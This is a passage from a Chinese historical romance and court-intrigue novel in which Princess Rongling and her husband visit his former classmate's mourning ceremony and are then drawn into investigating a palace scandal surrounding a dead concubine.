荣龄颔首，“也不必过于铺张，我与张大人一路颠簸，想早点歇息。”
虽是这样说，站户还是端上了八冷八热共一十六样菜，另加四盘点心。
待他离去，荣龄有些不悦，“大梁立国方十三年，这风气怎的与前元一般无二？”
张廷瑜却摇头，面露寒意，“郡主这话有失偏颇，前元骄泰奢侈、贪欲无艺，大梁远不能与它比。”
见他对前元这般怨恨，荣龄忽地想起他父亲乃前元的铁笔御史张芜英，是末年罕有的清正之臣，可正因他耿介，张芜英树敌无数，最终因赴南境调查一桩贪墨金矿案而失踪。
“你后来…有找到父亲的下落吗？”荣龄问。
如昼灯光中，张廷瑜看向她，目光微闪，“找到了。曾有人不远万里捎来父亲遗赠——他们说，他叫人追至澜沧水畔，最终落水而亡。”
荣龄低低一叹，握住张廷瑜的手，“直言骨鲠铁面冷，御史台前正气盈。父亲定是为气节而死。”
晚餐时，荣龄一见正中的炖酥鱼便想起来，“难怪，你从不吃鱼。”
叫人撤下，她又连舀几碗羊汤，都放到张廷瑜面前——同为失怙之人，荣龄自然明白生活中骤然失去父亲的天塌地裂之感。
因而，她想安慰他。
张廷瑜见惯荣龄或是运筹帷幄，或是古灵精怪的样子，却未见她这样温柔，温柔得如哄劝一只幼猫多饮水吃食的模样。
他心道，到底是自幼受娇宠长大的，便是心疼人的法子都这般粗疏。
张廷瑜喝下几碗洒满白玉椒的雪白羊汤，见荣龄还要盛，他忙拦下。
“郡主，羊汤虽滋补，可我不敢多喝了。”
荣龄有些疑惑，“为何？”
张廷瑜看着她，一本正经道：“因太过滋补。”见荣龄仍一脸不解，他凑过去，压下声音，“可郡主又吩咐我分房而眠。”
荣龄的脸一下子热起来。她手中的瓷勺也如烫人的铁柄，叫人一时握也不是，放也不是。
“张衡臣你…”
她在心中暗骂，枉我方才可怜你、心疼你！
张廷瑜却拉过荣龄的手，他笑意温润，“我明白郡主的心意。可一来父亲的事已过去许久，他为心中正道而死，当时定无惧也无怖。二来我如今过得很好，既受君主赏识，得用平生所学一展抱负，又娶了心上人，与她情意相通，举案齐眉。”
他摇了摇荣龄的手，“因而郡主不必心疼我。”
荣龄却气道：“我才没有，谁心疼你！”
可她到底没把手抽回。
待晚寝时分，张廷瑜送荣龄回房。
告别前，他问道：“明日便至宛平，我有一同年恰回了宛平守孝。近日他的孝期将满，郡主可愿与我一同探望？”
荣龄略想了想。
张廷瑜父母皆亡，族人又多在庐阳、九江，她还真从未见过他的亲友。
更何况自个在保州盘桓二月，已算晚归大都，为不引起建平帝的疑心，她便叫已在大都的万文林传开这一说法——她与张廷瑜三年未见，互相惦念得紧，因而趁他外出办差便去寻他，二人假公济私游玩数月，稍偿了相思之苦。
而与张廷瑜一同现身宛平，更是增加这一说法的可信。
于是，荣龄颔首应下。
31. 百家衣
次日下晚，马车进入宛平县桑园村。
张廷瑜支起车窗往外瞧，桑园村距大都仅几十里，村民除去务农，多在大都有营生，因而桑园村中屋舍、巷道俨然，显得颇为富庶。
晚暮中有三五妇人结伴而行。
张廷瑜招呼道：“大嫂，刘昶刘状元家可在此处？”
其中一位簪银的妇人上下打量他，“郎君也去二郎家？”
张廷瑜颔首，“我是他旧识，今日恰巧路过宛平，便来探望。”
妇人“哦”了一声，随后一指前方，“沿着这条路一直走，等见到一颗三人高的老丹桂，再右拐。那座三进的大院就是二郎家。”
马车继续前行，不时路过三两行人。
荣龄透过车窗，瞧见他们手中都拿了一块绸缎，她不解，便问张廷瑜这是为何。
张廷瑜也探过身瞧，只见行人们径直前行，随后在一株丹桂树下右拐，竟都是去刘昶家的？
似为解答他们的疑惑，窗外飘入一道不忿的嗓音。
“呸！就他事多，这么些年也不见其他人折腾。不过是考了状元，要在咱们村里耍耍威风。”
另一人接过话，“可不是？百家衣百家衣，不过是各家取块不要的布头，缝作衣裳图个吉利。他倒好，只说要一整块的绸缎。咱们一年才挣几个钱？我这块布攒了几年，正想给大丫头做嫁衣哩！”
“可不敢说！”又有人劝道，“二郎孝期将满，凤凰蛋可要出窝咯！不过是块布头，不值当因为这个得罪他。”
“倒也是。”
荣龄看了一眼张廷瑜，却见他不解的神色中浮出半分隐忧。
“咱们去瞧瞧。”他道。
待停了车，荣龄一行往那座规整的三进四合院走去。
她团团看了眼四周。
院外是一片青砖铺就的平地，平地上搭了一个白布竹棚，棚中是一张大案，案上摆满了行人送来的五色绸缎。
一位膀大腰圆的妇人正与人争论，“说好了要三尺长、三尺宽的绸缎，你瞧瞧，你拿的是哪个旮旯里的便宜货？”她将那布头扔在来人身上，“莫不是瞧不起咱们二郎？我可告诉你，我们二郎孝期将满，眼见的就要封侯拜相！”
那人忍气看她一眼，“我实在没有存银了！这是家中最好的一块布，虽非绸缎，那也是松江府厚织的棉布！”
妇人半点不听他辩解，“我说杨屠夫，你别忘了二郎小时候想讨根骨头给嫂子尝个荤味，你是咋欺负这孤儿寡母的？如今二郎出息了，不过要你三尺布头给俺嫂子做件百家衣，你还推三阻四的不肯。当心二郎发起狠来记你一笔！”
杨屠夫嚅嗫着说不出话。
“百家衣…”荣龄自竹棚收回目光，“原是这个用处。”
万文秀跟在一旁解释道：“倒是听说大都附近有为亡故之人做百家衣的习俗，只是…”因刘昶乃张廷瑜的同年，她不便说太多。
荣龄接过她的话，她可不怕，“只是从不知，这百家衣需家家供了三尺绸缎来做。张大人，你这同年好大威风！”
张廷瑜望向竹棚中堆积如山的绸缎，蹙眉道：“见了他，我定问问。”
然而，他刚领着荣龄走上台阶，一个披麻戴孝的长随便堵在门口，“哪来的？知道这是谁家吗？”
“我与刘昶是旧识，”张廷瑜耐着性子解释，“你请他出来一见便知。”
见他拿不出名帖，长随更嚣张，“哟哟，好大的架子，还叫我们大人出来见你？我瞧你不过是见我们大人除服，紧赶着来攀关系打秋风的。”他嗤一记，“我们大人今日忙着见贵人，没空理你！”
荣龄看了那不知天高地厚的长随一眼，“文秀，我怎的听说这刘状元尚未进翰林、做修撰便守了孝，”她故意道，“这如今，是哪门子的大人？”
万文秀与她一唱一和，“不知道哩，下回见了吏部尚书，咱问问？”
那长随在桑园村中做惯大爷，头次遭人这般奚落，“你个耗子尾巴张疮，没几两脓水的臭娘们，我定告诉大人，叫你们吃不了兜着走！”
“滚，滚，贱脚别踏富贵地。”他哄赶几人。
万文秀与阿卯一个是南漳王府出身，一个乃东宫暗卫，何时吃过这样腌臜的气？他二人挡在前头正要动手，一个管事模样的中年男子赶来劝架。
他先是不着痕迹地打量了荣龄由赤色珊瑚所作，正正缀在眉心的额饰，又上下看了几人的衣着、气度。
“下人不懂事，几位也是来参加二爷的除服仪式的？”他踹了那嚣张的长随一脚，拱起手客气道。
荣龄瞧出这管事也是个势利眼，可…罢了，到底是张廷瑜带他们来这。
她没再说话。
张廷瑜再次解释。
管事迎他们进院，“贵客稍坐。今日是老夫人的除服之日，照村里的旧俗，要等婆娘们缝好百家衣，烧给老夫人后，才好开席用饭。只是眼下有贵人驾临桑园村，二爷去了族长家中见贵人，咱们需等一等他。”
管事送他们至厅中便又去忙活。
荣龄压下声音，看向厅中诸人，“贵人，是哪个贵人？可会是你的师座、同年？”她问张廷瑜，“张大人，你来瞧瞧，这厅里可有你认识的？”
张廷瑜略看了眼，摇头道：“三年前，头甲三人走马夸街，刚行至一半，子渊兄便接到母亲的丧讯。他连夜赶回宛平奔丧，连琼林宴都不曾参加。那之后，他与老师、与我们这些同年都不太联络。”
荣龄奇道：“那你为何特地赶来？”
张廷瑜倒了两盏清茶，将其中一盏递给她。
□□龄一朝被蛇咬，实在怕了这外头的茶水，她摇了摇头。
见她不要，张廷瑜自取一杯，饮下数口解释道：“那年我来大都赶考，恰逢上百年一遇的冷冬。我没带够衣裳，便害了风寒。这一病，不仅耽搁功课，更将本就不丰裕的盘缠用了精光。”
张廷瑜住的本是大都一间位置、价钱、饭食都不错的客栈，正因各样条件均衡，向来受考生青睐。
见他付不出房钱，掌柜的就要赶他出门，“要住咱们客栈的客人多的是，爷爷才不养吃白食的。”
他病得头昏眼花，强撑着身子想恳求掌柜宽限几日。
可那掌柜的半分情面不讲，直叫人收拾了他的铺盖，一把扔出客栈。
张廷瑜一面收拾散落一地的行李，一面费力地想，这偌大的京都，他还有哪处可以去？
这时，一位旁观书生拉住他，“我瞧兄台也没有可投奔的去处，不若去我那同住几日？我也是今科的考生。”
张廷瑜烧得手脚发软，真想立刻在香软的床上酣睡一天一夜。可他仍谢绝那人的好意，“多谢你。但我害了风寒，会过给你。”
若因他耽误那人的考试，他的罪过便大了。
谁知那人哈哈一笑，“兄台以为我那是什么好地方？我既住了这么久都不曾害上风寒，区区一个你，不当事的。”
他拉着张廷瑜去瞧——那是一处破败的小院。
那人为张廷瑜搬来一张破烂的扶手椅，他如主人一般娓娓道来，“此处本住了一位商贾的外室，因怀了身孕，很得商人看重。可那商人的正头夫人不知自何处得知消息，她趁商人外出，带了一伙仆妇家丁赶来。原来，那正头夫人自生下一女后便不再有孕，可商人家中富庶一直想要个小子继承自个的家业。夫人心想，若外室诞下男胎，商人定叫他认祖归宗…如此一来，那商人的家财可就要旁落。于是，夫
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人将外室绑着扔到柴房，任凭她肚疼了三天三夜。最终，那外室不仅没生下男丁，更是断送自己的一条性命。”
“因死法太凶，这宅子便也变得不干净。商人本想将它卖了，可因凶事闹得满城皆知，便到底没卖成。再后来，商人举家搬去南方，宅子也就败落下来。”
听完这骇人的传言，张廷瑜晕乎乎地“哦”了一记。
刘昶问他怕不怕。
张廷瑜想了想，坦诚道：“是有一点。”
刘昶便拍着胸脯担保，“兄台放心，我八字重，压得住邪气。况且你想，”他一指屋顶，“就算半夜有些女人与孩童的啼哭，可此处到底有片瓦遮身且不要钱。如若不然，你身上可还有银子住店？”
说得也是，张廷瑜心道自己一个白茫茫的穷光蛋，还挑剔个什么劲？
于是，他便在这闹鬼的宅子住下来。
一月后，二人一举进入头甲前三名，问鼎状元与探花。旁人知晓这神奇的宅子后，便再不计较发生在此的凶事，一时间，这宅子成了买卖场上的香饽饽。
听完张廷瑜与刘昶的往事，荣龄心情复杂地再看一眼院中——那看人下菜的管事与长随正迎入一位乡绅打扮的老爷。
张廷瑜叹道：“我自然记得三年前仗义相助的子渊兄。可今时今日他家中下人为何这样，我却不知。”
荣龄想了想，“你二人三年未见，万事还是当心些。”她没说出心底的隐忧——近墨者黑，若家仆风气如此，这主人…
这时，院门处传来一阵喧嚣。
荣龄打眼望去，入门的二人皆白衣胜雪，只是其中一人着的孝衣，另一人却是泛着光的绢衣——她凝眸细瞧，当是上好的素绢上满绣极细的金银丝线。
荣龄猜测，二人许是刘昶与管事口中驾临桑园村的贵人。
只是这贵人的衣着竟如此华贵，他会是谁？
刘昶陪着贵人往正厅行来。
他落后半步，心中却是意气蓬勃——他蹉跎了三年，终于等到这潜龙出渊的一刻。
见他打量厅中诸人，刘五便跟在一旁低低禀道：“二爷，方才来了个年青公子，说是二爷旧识。他虽未告知府邸，但我瞧他俊朗不凡，便叫他先进来。”
刘昶微微抬眉，“哦？是谁？”
刘五道：“说是叫张廷瑜。”
刘昶脚下一停，他的目光在人群中逡巡半晌，最后定格在一个角落。
张廷瑜…他竟来了？
一息后，刘昶挂上一脸惊喜的笑意，迎上前去，“衡臣，你怎的来了？五叔一说‘俊朗不凡’的公子，我便猜到是你…”
张廷瑜与他一番寒暄，“今日恰好路过宛平，我来探望子渊兄。只是巧了，正遇上伯母的除服之礼。”
刘昶想起身后的贵人，他拉过张廷瑜，“走，我带你拜见一位贵人。这贵人可是万难遇见，你定要与他说一说话。”
不想，那贵人已听到二人的对话，“不忙，衡臣我是见过的…”他本还要再说，却忽地一停。
刘昶一愣，他转过身，却见贵人的目光越过他们，径直投向二人身后。
贵人袖着双手，朗朗一笑，“瞧瞧，这是谁？”
刘昶这才注意到张廷瑜身后一道真紫的身影。
那人也甚为惊喜，“三哥哥，怎会是你？”
刘昶惊讶地望向张廷瑜，“衡臣，这位是？”
只见张廷瑜扶过她，介绍道：“子渊兄，这是荣龄郡主。”
“荣龄郡主？”刘昶赶紧行礼，“见过郡主，郡主驾临寒舍，臣不胜惶恐。”他忽地反应过来，“衡臣，郡主是…？”
张廷瑜与那郡主对视一眼，他颔首承认，“是，郡主是我夫人，她陪我而来。”
32. 丑事
却说待刘昶命妇人们做出百家衣，烧给亡故的刘老夫人，终于完成除服仪式后，荣龄凑到荣宗祈身旁，“三哥，你还未说，你怎的来了？”
她可不曾听说三皇子荣宗祈与这未出仕的状元郎有旧。
荣宗祈长长一叹，“我这也算苦中作乐。”
他领着荣龄，走向一屏之隔的偏厅，“前几日一友人告知，说是已轶失的《佛说三十七品经》尚存一份前前朝的手抄卷，正在此处的刘氏。更有人说，这刘氏乃数百年前刘宋的后人，你也晓得我一直在找那刘宋的贵妃与齐王私奔的后续…一石二鸟，自然便要来瞧瞧。”
说起三皇子荣宗祈，那也是皇室的一朵奇葩。
他好文，可好的并非“仁义礼智性”的儒学正道，而是诗词歌赋、野史杂家等的旁门小技。
荣龄自小便知道，若闯了了不得的大祸，太子荣宗柟会救她；若与谁起了争执，要动手揍人，二皇子荣宗阙是头把好手；可若想听些前朝旧事、皇室秘闻，没人能比上三皇子荣宗祈。
如今荣宗祈因一卷佛经、一桩传说来到桑园村，倒也不算出格。
只是…“三哥说的‘苦中作乐’是何意？”荣龄问道。
荣宗祈在榻上盘腿坐定，“若你知晓你我二人回大都后需面临何事，你也定觉得苦。”
荣龄奇道：“怎的还与我有关？”
荣宗祈看她一眼，“父皇与太子哥哥可给你来信？缁衣卫是否有消息递来？”
荣龄摇头。
“你瞧，他们连缁衣卫都瞒住了，想来是怕你知晓一星半点，也与我一样拖着不肯回去。”荣宗祈顶着一张风淡云轻的脸，嘴里却是摆下龙门阵。
这话实在勾起荣龄的好奇，“三哥哥，到底何事？”
“你可知，太子哥哥的良娣没了？”荣宗祈问道。
荣龄颔首，“我还知，那良娣乃皇后娘娘的内家侄女。只是三哥哥特地来问，莫非她的死有隐情？”
荣宗祈“啧啧”道：“有，大大的有。”他凑近荣龄，又压低音量，“她的贴身宫女状告，说是二驸马蔺丞阳迷·奸了她。那蔺丞阳怕东窗事发，这才一不做二不休送来浸了毒药的点心灭口。可偏偏，如今的蔺丞阳也活不见人、死不见尸。”
荣龄闻言一愣。
“当真？但我曾听旁人说，蔺丞阳别号‘小青天’，是个再规矩守正不过的才俊。”
“话是这样说。”荣宗祈也颔首，“可太子妃请了信得过的医女验尸，你猜怎么着？”
“怎么着？”
“那瞿良娣已有约二月的身孕。但东宫的彤史明明白白记着，太子哥哥近半年都不曾召幸她。可偏偏，二月前，良娣曾因不孕去长春观请签，而那日，蔺丞阳也在观中。”
“竟如此巧？”荣龄眼睫微落，“那圣上与太子哥哥叫你我回去…”她问道。
荣宗祈再叹一记，“这事关乎一位皇子、一个公主，又牵扯皇后的娘家瞿氏、大都的名门蔺家。你说说，哪个不要命的敢接这桩悬案，父皇又能信得过哪个来查明真相？”
“是故…他们选中了三哥哥你这八卦百事通？”荣龄不着痕迹地挪开身子。
“诶，别逃！”荣宗祈看出她的心思，忙揪住她衣袖，“莫说未遇见你，我还要特特去寻。如今恰巧碰上，我还能叫你溜了？”
“你别是听错了消息自个吓自个，”荣龄讪笑着蒙他，“你瞧瞧，我那缁衣卫都不曾知道呢。”
荣宗祈却不吃这套，“到底是家丑，父皇没叫外头传开。只是我母妃怕我愣头愣脑回大都吃了暗亏，便托了人来告诉我，叫我有个准备。”
荣龄实在不想卷入这出皇家丑事。
可她转念一想，这事瞧着荒唐，但究其根本，却与镔铁局一案类似——它牵扯两头，生怕太子与二皇子打不起来。更何况，荣宗祈提及，蔺丞阳曾与良娣同时出现于长春观…
花间司、长春道，一切的一切又如保州重现…
荣龄叹一口气，装作勉强应下的样子，“我才逍遥几日，你又捉我回去做苦工。但我实在不擅查案，只能帮你跑跑腿，打打架。”
荣宗祈却道：“跑腿、打架也是其间要事…更何况，你总领南漳三卫，这些年来查出的奸细、密探不下百人，你若是不擅长此道，那我更得是绣花枕头一包草，”他贬起自个毫不留情，“再说了，咱俩若是真查不出来，你家中还有人能相助哩…”
荣龄微惊，荣宗祈竟还想将张廷瑜扯进来？
可她直觉此事有些凶险——若真出事，她与荣宗祈尚能凭借皇家身份全身而退，但张廷瑜…他便难说了。
荣龄连连摆手，“别别，张大人忙得很，平日里三餐都需我来催促，三哥莫再支使他了。”
荣宗祈有些意外，“哟，这果然是有了相公便忘了哥哥。罢了，衡臣掺和进来到底也不便，便只你来我这应卯吧。”
话说两头，二人口中的张廷瑜正与刘昶去了书房。
“子渊兄，果真是百地风俗不一。我在庐阳从未见过做百家衣的旧习。”张廷瑜状似感叹，与刘昶分坐书案两端。
刘昶倒茶的动作一停，“衡臣可是想说，我叫乡人献上绸缎，有仗势欺人之嫌？”
若是从前，张廷瑜定与刘昶促膝长谈，一一说明此事坏处，可三年宦旅加之今日见闻叫他再不敢冒险，因而，他不置可否，说道，“一路行来，听见几句闲话。”
“哼！”刘昶将茶壶重重一放，“你不说我也知道他们怎样编排。可衡臣，你我相知于微时，当知我并非铺张煊赫、恃强凌弱之人。”
他恨恨道：“我这样做，是要他们永远记着曾对我母亲做了何事！”
张廷瑜看向他，以目相询。
“我姓刘，我母亲也姓刘，”刘昶问道，“衡臣可知是为何？”
张廷瑜摇头，但他心中已有不好的猜测。
“因我母亲年青时叫人骗了，生下了我却只能自个抚养。她没法子，只好把我带回外祖家。”
可刘氏未婚生子，即便逃回桑园村也抬不起头。
“我记得七岁时，母亲为旁人浆洗衣裳累得病倒了。她日里咳、夜里咳，像要将整颗心咳出来。我怕她哪天就死了，于是哭着问她‘阿娘可要吃点什么？’我总不能叫她饿着上路。”
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刘氏神情恍惚，“我以前吃过梅子渍的排骨，甜的，清香的。要用燕山散养的山猪，肋排七分瘦，三分膘…”
刘昶去求村中的杨屠夫，求他赊一根旁人不要的骨头。
杨屠夫骂他书呆子不知柴米贵，并不理他。可那时的刘昶年纪小，没旁的法子，他不顾男儿膝下有黄金，在铺前自白日跪到黑天。
有人劝杨屠夫，说这孩子有爹生、没爹养，瞧着可怜，不如便给他一根。
杨屠夫收摊的动作一停，自筐中挑出一根带些许肉末的猪骨。他递到刘昶面前，问道：“想要吗？”
刘昶以为他终于发了善心，忙不停点头。
谁知杨屠夫眼神一冷，扬手便将猪骨扔到野狗堆中，“可惜我宁可叫畜生吃了，也不喂你娘那样不知廉耻的贱·妇”
刘昶忘了自己是怎样走出看热闹的人群，又是怎样回到家中。
他守着母亲，骗她，“阿娘，我定了一整排最好的排骨，可杨…杨屠夫说，燕山离得远，那山猪得半月才有。阿娘你可别睡沉，你还没吃到梅子渍的排骨。”
也是老天怜他，刘氏缠绵病了几月，又慢慢好起来。
只是待她痊愈，母子二人都默契地不再提起那从未出现过的梅子渍的排骨。
但刘昶一直记在心中，他暗自发誓，定要叫母亲过上日日吃饱穿暖，再不受旁人冷眼的日子。
怀抱这样的信念，他一路考过县试、乡试、会试，又在乾清宫得圣上钦点，成为建平十年的状元。
可是母亲，死在了好日子前的黎明。
刘昶长长呼出一口气，“衡臣，若你是我，你可会为母亲出这口恶气？不错，我是故意的——我偏要他们拿出家中舍不得穿用的绸缎，让瞧不起她、欺负她的人都不得不为她祝祷。”
听罢，张廷瑜不好再说，只叹道：“伯母如蒲草坚韧如丝，子渊兄也较磐石更心志坚定。”
刘昶自嘲一笑，“只是我的心智再坚，也难逃时也、命也。三年了，我方能出仕，衡臣却已官拜五品，是一司之主。”
张廷瑜听出些不明的意味，“以子渊兄的才能，得圣上赏识是早晚的事。”
“那也不能与衡臣你相比，如今你可是郡主夫婿…咱们那一科，有谁能与你比？”刘昶摇头道，“愚兄以茶代酒，还望衡臣日后提携。”
张廷瑜这茶是喝也不是，不喝也不是。更甚者，他觉得自个今日前来便是个错。
他想了想，诚挚道：“我的命是子渊兄救的，你如今说这样的话，是存心叫我心中不安。”
刘昶这才连连致歉，“是我守孝久了话都不会说。衡臣莫怪，莫怪。”
随后二人约好，待刘昶回翰林院复职，定要叫上其余同年相聚喝酒。
恰好刘五来寻刘昶禀事，张廷瑜便告辞，由仆人陪着去后院歇息。
只是方走入那间供他歇息的厢房，却见里头的荣龄挽了衣袖，正要去净房洗漱。
张廷瑜这才反应过来，在旁人眼中，荣龄陪他来宛平探访旧友，端的是鸳俦凤侣、琴瑟在御。
如此一来，哪个又会如此不长眼，给他们安排两间屋子？
33. 同房
骤见推门而入的张廷瑜，荣龄也一愣。
经过混乱一夜，她虽与张廷瑜互相明白了心意，可一来相处日短，猝然间做日夜形影不离的夫妻总觉得无措，二来她各处的伤口未痊愈，一人独睡总要便利些，因而这些时日，她都不曾与张廷瑜同房而眠。
“你…”荣龄刚想问，可透过两扇门页，她看见未走远的刘家家仆。
“嗯，我回来了。”张廷瑜适时阖上门，“今日一路颠簸，咱们早些歇息。”
荣龄不说话，随他一道走到更里头的净房。待外头再听不见屋内的话音，她才问：“那今夜…如何睡？”
可话一出口，她便知道自个问了个蠢问题。
如今这情形若叫张廷瑜再去问刘昶要个单间，那明日的大都便又能传遍，郡主与张大人乃貌合神离假作恩爱，二人之间的情分可比滚了千道的水还寡淡。
“不如我用桌椅拼一拼，应付一晚？”张廷瑜见她局促，提议道。
荣龄心说，这也是个蠢主意。莫说数九的天里，这乡下大院的火炕烧得到底不如王府中好，若叫张廷瑜在桌椅上睡一晚，隔天便能冻个小伤风。再者，她也不是…也不是那样小气变扭的人。
“罢了，你睡外头，你来熄灯。”荣龄头一扭，不看他。
“好，臣都听郡主的。”张廷瑜低笑着应道。
待屋中归于黑暗，荣龄只觉自个的五感都变得从未有过的敏锐——她虽闭着眼，可身旁之人偶尔翻身带来的响动，他身上难以捕捉但又不断朝她扑来的气息…无不钻入她的耳中、鼻中，扰得她心间发颤，夜难成眠。
她有些气恼自个沉不下心，于是又睁开眼，狠狠瞪他。
可帐中投入清冷的雪光与月光，那混合的凉白色将张廷瑜的眉骨勾勒得尤其高，鼻梁格外挺拔。看着看着，荣龄便也忘了自个的目的，她偷偷伸指在眼前比划，好似在触摸这人的侧脸。
未几，像是感受到荣龄手指的轻触，张廷瑜忽地睁眼。
荣龄装睡不及，被抓个正着。
“郡主睡不着？”他侧过身来问。
荣龄想了半晌，才道：“张大人身上有味道。”
黑暗中，张廷瑜猛地坐起，他抬起衣袖深嗅，“哪有！我明明…昨日才沐浴。”
荣龄发觉他误解，一面忍不住笑，一面伸手拉他，“不是这个意思，我说不好，总归张大人身上有特别的味道，我能闻得出。”
张廷瑜听明白，他重又躺下，一起一落间，他离荣龄更近。
“既如此，那日后郡主不能再认不出臣。”他的额头顶着荣龄额头，鼻子尖擦着鼻子尖。
荣龄手脚发热，心间也滚烫，“我知道了。”
随着心神慢慢松下，她不知何时便与张廷瑜依偎着睡去。
次日又行过半日，未时初，荣龄一行并荣宗祈一行终于回到大都。
可他们尚未回各自府中喘一口气，建平帝行前的领侍太监苏九已候在永定门。
“三殿下、郡主、张大人，老奴有礼了。”苏九手中拂尘一甩，将几人径直迎向宫中。
一行人自午门入，沿游廊过奉天殿、华盖殿、谨身殿，终至乾清宫外。
乾清宫中打帘的小太监早已遥遥看见一行人，他机灵地向立于屋内的哥哥禀报，那哥哥又与奉茶的大太监交耳，待大太监再与当值的副领这样那样一说，这消息终于一重重传至乾清宫最深处的东阁。
因而，等荣龄他们刚至乾清宫阶下，小太监已高高打起帘，“苏爷爷，陛下请三殿下、郡主与张大人入内。”
苏九看那豆芽菜般的小太监一眼，随口夸了句，“你小子是个好的。”
再过重重帘幔，荣龄终于时隔三年，再次见到当今圣上建平帝。
她刚行完礼，建平帝便招手，“阿木尔过来，叫朕瞧瞧。”他细细打量，又问，“五莲峰中的迷药可还有碍？”
早在九月，荣龄便在送回大都的军报中详述五莲峰之战，故建平帝一见她便过问那时的迷药，这也不足为怪。
她恭敬答道：“禀陛下，修养许久，已是无碍。”
“唔，想是无碍了…”建平帝看了眼她，又瞧了瞧一旁的张廷瑜，“不然，阿木尔怎的有心思去寻外出办差的衡臣？”
他打趣道：“如何，如今不恼皇伯父与你母妃点的鸳鸯谱了？”
果然，他听了荣龄特意叫人传出的消息。
荣龄抿唇笑了笑，虽未回答，但那答案已蕴在笑中。
再说过几句家常，建平帝手一摆，“行了，衡臣先回刑部复命。阿木尔与老三留下。”
荣龄心中一哂，想来建平帝是要提那事了。
果然，他略略说过二驸马与瞿良娣的丑事。
“只是如今，那瞿良娣已死，蔺家小子也没了踪影，这事便成了悬案。”建平帝自金丝楠木椅中站起，他的语调始终平缓，“也有人劝朕不若就此罢了，怕愈查愈不光彩。但朕不这样想，朕只信一个理——山高月小，水落石出。”
“真相再不堪，也是真相。”
“可父皇，一头是太子哥哥，一头是二皇兄，儿臣都…都得罪不起！”荣宗祈嚷嚷道，他一开始嗓门大，叫建平帝一盯，最末时已低成了蚊虫叫。
“朕没指望你！”建平帝嫌弃地看他一眼，“朕只想着你妹妹近些年都不在大都，许多隐情并不清楚。但朕耳闻，你螭吻是个百事通，不但知道吏部尚书今日是因赌钱输了银子还是与夫人呕了气而不快，更清楚礼部若要重设旧礼，当去哪一家寻哪本古书做参照。你这长处难得有个用武之地，朕才叫你出份力，好协助阿木尔。”
说到这，建平帝狠狠一指荣宗祈，“你说说，你的心思若放在正事上能帮朕多少忙？也不知朕与林妃哪里出了岔子，竟生出你这市井的性子。”
荣龄偷眼张望——荣宗祈早被说得垂下脑袋，可见荣龄看他，他又大着胆子做了苦脸。
“至于老大与老二…”建平帝话锋一转，又看向荣龄，荣龄赶忙收回视线。
只听他道：“阿木尔，莫听你三哥瞎说。你记着，要查他们的，是朕，若有不服气的，尽管叫他们来寻朕。”
荣龄拱手回道：“是。”
“行了，你们回来也累了，去见见各自母妃便出宫去吧。”建平帝最后吩咐道。
二人又往西六
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宫走，可刚走到与坤宁宫毗邻的甬道，早有大宫女候在西宫门外，那大宫女也不说话，只向二人行了叉手礼。
随后她人影一闪，露出戴龙凤冠，着真红大袖衣的皇后瞿氏。
“回来了？”皇后和气一笑，与二人招呼道。
荣龄面色不改，心中却嘀咕。
皇后虽一句不提建平帝的召见，可她能掐着时点正正好拦下他们，便说明荣龄与荣宗祈刚出乾清宫，她便已得了信。想来，这位韬光养晦的皇后娘娘并不如她平日那般中庸、无能。
荣龄心中戒备，“劳娘娘挂念。”
皇后摇了摇头，“本宫虽挂念，却也比不上玉妃。听说你在五莲峰中了迷药几日不醒，她急得又犯了百日咳。”
说着说着，她的眼角流出泪来，“只是玉妃运道好，阿木尔到底平安归来。可怜本宫那弟媳，再也见不到郦珠。”
荣龄面色不改，心道，这一出起承转合倒挺精巧。
“娘娘节哀。”她拱手劝道。
“瞧本宫，阿木尔刚回来，本不该说这些。可本宫…可我实在放不下郦珠。”
皇后红了眼眶，愈说愈动情，“这些年，她父亲母亲花了全部心思教养，只将她养得温静敦厚、讷言守礼。可许是太过守礼，狻猊不喜她性子，叫她数年无所出。可这又如何？有我这姑母在，谁还能欺侮她不成？我也不明白，她怎的非要信那长春道，给那蔺…那狂小子可乘之机，倒送了自个性命。”
荣龄随她叹道：“确是可惜。”
再过几息，皇后擦干眼泪，收起戚容。
她盯着荣龄，眼中满是深意，“阿木尔，郦珠去得冤枉，狻猊又自小待你亲厚…东宫的清白，我便托付你了。”
此时的荣龄怎样回都不合宜，因而她说了句：“娘娘，阿木尔明白了。”
走过坤宁宫，又行一段路，荣龄在两堵青墙的转角处停下。
她回头看了眼坤宁宫的方向，忽问道：“三哥哥，皇后娘娘方才的话你可明白了？”
荣宗祈颔首，“说了那大一通，不过是告诉咱们，瞿氏女自小仔细教养，最是规矩可怜。”
荣龄却摇头道：“你只说对了一半。”
“一半？”
“若只是你说的那些，她大可请位姑姑去南漳王府寻我，或是叫太子哥哥提点，许能叫我更信些。可她偏偏掐了时点，在咱们入后宫的头一刻便拦下相告。你再想想，这是为何？”荣龄又问，她已转过头，望向北面的方向。
“许有了不得的急事，她等不及？”荣宗祈猜道。
“不错，三哥猜对了。皇后娘娘当是怕人给出截然不同的说法，故先下手为强。”荣龄答道。
“截然不同的说法，你是指…？”荣宗祈跟着将目光投向北面，那是永寿宫的方向。
“只是阿木尔，我们又为何停在这里？”他不解问道。
荣龄理了理袖子，“来一次西六宫不容易，咱们不若等等那截然不同的说法。”
语落，朝北的甬道跑来方留头的小宫女，“郡主、三殿下留步，贵妃娘娘有请。”
荣龄双眉一抬，“瞧瞧，这不就来了。”
34. 贵妃
要说后宫中哪处地位最为尊崇，那定是几朝皇后起居的坤宁宫。可若问何处最华贵，即便刚入选的小宫人都知道，定是赵贵妃的寝宫，那位于西六宫正北方向的永寿宫。
方入门内，一整套嵌和田白玉的紫檀木桌椅便映入荣龄眼帘。
她再细瞧，几张大桌、高几上或置新鲜瓜果，或放胆瓶养着香花。往东些，墙根处是一架顶天立地的博古架，上头有数不清的奇珍，道不完的异宝。
而最叫荣龄吃惊的，是博古架旁一挂串有青金石、红玛瑙、绿松石、黄翡、南海珍珠的五色珠玉帐。它映在日光中，折射出雨虹般瑰丽的色彩。
“听说，陛下将驸马与那小贱人的案子交与你二人？”贵妃坐在上首主位，她一面漫不经心地把玩方涂蔻丹的指甲，一面却径直问道。
荣龄与荣宗祈暗暗对视一眼，心说这开门见山的宗旨倒与皇后不同。
二人拱手回道：“是。”
这时，贵妃一摆手，她身旁的宫女捧来一只托盘，上置一方女子用的绣帕。
荣龄仔细打量，只见那绣帕用的玉色暗纹锦，上绣并蒂莲花一枝、莲叶数张，花样上方更有诗句“想是鸳鸯头白死，双魂化作好花来。”——这是句…情诗？眼前的绣帕恐是女子赠与情郎的。
只是贵妃在此刻拿出这样的绣帕…
荣龄未伸手去取，抬头问贵妃，“娘娘这是何意？”
